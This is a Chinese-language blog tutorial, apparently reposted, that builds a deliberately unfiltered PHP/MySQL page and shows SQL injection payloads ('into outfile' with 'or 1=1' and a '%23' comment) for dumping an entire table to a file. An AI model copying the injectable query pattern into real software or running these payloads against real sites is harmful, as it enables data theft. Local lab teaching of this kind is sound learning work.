利用SQL注入漏洞拖庫


想在本地測試的話,可以在此免積分下載:利用SQL注入漏洞拖庫

同上一篇文章(利用SQL注入漏洞登錄后台)一樣,我們需要創建數據表,並在表中出入幾條數據以備測試之用。

在數據庫中建立一張表:

CREATE TABLE `article` (

`articleid` int(11) NOT NULL AUTO_INCREMENT,

`title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',

`content` text CHARACTER SET utf8 NOT NULL,

PRIMARY KEY (`articleid`)

) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

在表中插入數據的操作我就不貼代碼了,可以去下載下來直接導入到數據庫。

接下來,寫一個處理用戶請求的頁面,這里,我們故意不過濾用戶提交過來的數據,留下個SQL注入漏洞用來測試。

代碼如下:

<?php

$servername = "localhost";

$dbusername = "root";

$dbpassword = "";

$dbname = "test";

$id=$_GET['id'];//id未經過濾

$conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("數據庫連接失敗");

mysql_select_db($dbname,$conn);

mysql_query('set names utf8');

$sql = "SELECT * FROM article WHERE articleid='$id'";

$result = mysql_query($sql,$conn);

$row = mysql_fetch_array($result);

echo "<p>利用SQL注入漏洞拖庫<p>";

if (!$row){

echo "該記錄不存在";

exit;

}

echo "標題<br>".$row['title']."<p>";

echo "內容<br>".$row['content']."<p>";

?>

我們直接在瀏覽器中輸入:

http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1

即可訪問article表中id為1的一條記錄

訪問結果如下:

 

接下來,我們就利用這個漏洞(不知道該漏洞的情況下,只能通過工具+手工檢測),演示一下如何將article表下載下來。

在地址欄中輸入:’ into outfile 'e:/sql.txt'%23

分析:%23是#的ASCII碼,由於在地址欄中直接輸入#后到數據庫系統中會變成空,需要在地址欄中輸入%23,那么才會變成#,進而注釋掉后面的sql語句。

運行之后,打開E盤,發現多了一個sql.txt文件,打開之后,里面就是表article中的一條記錄。

為什么只有一條記錄呢?難道該數據表就只有一條記錄?不是這樣的,因為我們只檢索id為1的一條記錄而已,那么能否將article表中的所有記錄一次性全部下載下來呢?

答案是可以的,只要你的構造的SQL語句足夠靈活(再次提出了構造SQL語句的靈活性)。

 

       分析一下,當在URL地址欄中輸入’into outfile 'e:/sql.txt'%23的時候,合並到sql查詢語句中變為:

 

       SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'

 

       仔細分析下之后,我們可以這樣子構造SQL語句:

 

       SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'

 

      這樣的話,無論如何WHERE子句總是為真,換句話說,該sql語句等價於如下:

 

      SELECT * FROM article into outfile 'e:/whf.txt'#'

 

      懂了吧,該sql語句在先執行select語句,將表article中的所以內容全部檢索出來,然后再執行into outfile 'e:/whf.txt'#'將內容導出來。

 

      不信的話,你執行下……

 

      利用SQL注入漏洞,我們可以猜測表名,列名,用戶的密碼長度(LEFT函數)等等,當然了,如果能直接向以上的演示那樣將表中的數據全部導出的話就沒必要去猜表名列名等等。

 

      有點累了,就寫到這里了。

      利用SQL注入漏洞登錄后台利用SQL注入漏洞拖庫是我學習了相關內容之后的一點小結,沒啥深度,正如文章開頭所說,權當總結,別無它意。

原創文章:WEB開發_小飛

轉載請注明:http://www.cnblogs.com/hongfei/archive/2012/01/12/sql-injection-tuoku.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM